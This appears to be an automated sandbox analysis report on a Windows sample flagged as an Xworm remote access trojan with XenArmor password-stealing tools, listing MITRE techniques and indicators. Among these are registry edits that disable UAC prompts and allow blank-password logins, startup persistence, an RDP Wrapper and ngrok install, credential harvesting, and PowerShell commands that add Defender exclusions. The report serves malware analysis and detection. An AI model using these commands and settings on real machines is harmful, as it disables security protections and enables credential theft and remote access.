xenarmor | 87d91a5a226ba8b4fc71b6056c6bd5517e658a063ed592ad7b8d0c2023bea832

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	sdafsdf.exe

XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
recovery password xenarmor
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	sdafsdf.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1740	netsh.exe
2932	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWInst.exe

ACProtect 1.3x - 1.4x DLL software 5 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x000100000002a9b5-100.dat	acprotect
behavioral2/files/0x000100000002a9b4-95.dat	acprotect
behavioral2/files/0x000100000002a9b3-90.dat	acprotect
behavioral2/files/0x000100000002a9b2-85.dat	acprotect
behavioral2/files/0x000100000002a9b1-80.dat	acprotect

Allows Network login with blank passwords 1 TTPs 1 IoCs

Allows local user accounts with blank passwords to access device from the network.

Remote Desktop Protocol

T1021.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\LimitBlankPasswordUse = "0"	sdafsdf.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\End.lnk	sdafsdf.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\End.lnk	sdafsdf.exe

Executes dropped EXE 12 IoCs

pid	Process
4936	All-In-One.exe
2832	ngrok.exe
1076	RDPWInst.exe
1308	ngrok.exe
3252	ngrok.exe
5008	RDPWInst.exe
1552	ngrok.exe
1660	RDPWInst.exe
4068	ngrok.exe
3928	ngrok.exe
1972	ngrok.exe
4640	ngrok.exe

Loads dropped DLL 2 IoCs

pid	Process
4936	All-In-One.exe
1140	svchost.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000002a9b5-100.dat	upx
behavioral2/files/0x000100000002a9b4-95.dat	upx
behavioral2/files/0x000100000002a9b3-90.dat	upx
behavioral2/files/0x000100000002a9b2-85.dat	upx
behavioral2/files/0x000100000002a9b1-80.dat	upx

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	All-In-One.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Windows\CurrentVersion\Run\End = "C:\\Users\\Admin\\AppData\\Roaming\\End.exe"	sdafsdf.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWInst.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	RDPWInst.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 744 set thread context of 2136	744	sdafsdf.exe	115

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	sdafsdf.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWInst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWInst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	sdafsdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sdafsdf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	sdafsdf.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	sdafsdf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	sdafsdf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	sdafsdf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	sdafsdf.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3028	ipconfig.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
3492	taskkill.exe
1344	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "3"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
960	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2176	powershell.exe
2176	powershell.exe
2256	powershell.exe
2256	powershell.exe
1960	powershell.exe
1960	powershell.exe
880	powershell.exe
880	powershell.exe
744	sdafsdf.exe
4936	All-In-One.exe
4936	All-In-One.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe
744	sdafsdf.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
744	sdafsdf.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
680	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	sdafsdf.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	744	sdafsdf.exe
Token: SeDebugPrivilege	4936	All-In-One.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	3492	taskkill.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	1076	RDPWInst.exe
Token: SeAuditPrivilege	1140	svchost.exe
Token: SeDebugPrivilege	1344	taskkill.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
744	sdafsdf.exe
4936	All-In-One.exe
4936	All-In-One.exe
4428	firefox.exe
960	explorer.exe
960	explorer.exe
664	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 744 wrote to memory of 2176	744	sdafsdf.exe	83
PID 744 wrote to memory of 2176	744	sdafsdf.exe	83
PID 744 wrote to memory of 2256	744	sdafsdf.exe	85
PID 744 wrote to memory of 2256	744	sdafsdf.exe	85
PID 744 wrote to memory of 1960	744	sdafsdf.exe	87
PID 744 wrote to memory of 1960	744	sdafsdf.exe	87
PID 744 wrote to memory of 880	744	sdafsdf.exe	89
PID 744 wrote to memory of 880	744	sdafsdf.exe	89
PID 744 wrote to memory of 3136	744	sdafsdf.exe	91
PID 744 wrote to memory of 3136	744	sdafsdf.exe	91
PID 3136 wrote to memory of 3028	3136	CMD.EXE	93
PID 3136 wrote to memory of 3028	3136	CMD.EXE	93
PID 744 wrote to memory of 1740	744	sdafsdf.exe	94
PID 744 wrote to memory of 1740	744	sdafsdf.exe	94
PID 744 wrote to memory of 1808	744	sdafsdf.exe	96
PID 744 wrote to memory of 1808	744	sdafsdf.exe	96
PID 1808 wrote to memory of 4936	1808	cmd.exe	98
PID 1808 wrote to memory of 4936	1808	cmd.exe	98
PID 1808 wrote to memory of 4936	1808	cmd.exe	98
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 3768 wrote to memory of 4428	3768	firefox.exe	105
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106
PID 4428 wrote to memory of 4896	4428	firefox.exe	106

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\policies\system	sdafsdf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	sdafsdf.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\sdafsdf.exe
"C:\Users\Admin\AppData\Local\Temp\sdafsdf.exe"
1⤵
- UAC bypass
- Drops file in Drivers directory
- Allows Network login with blank passwords
- Drops startup file
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sdafsdf.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sdafsdf.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
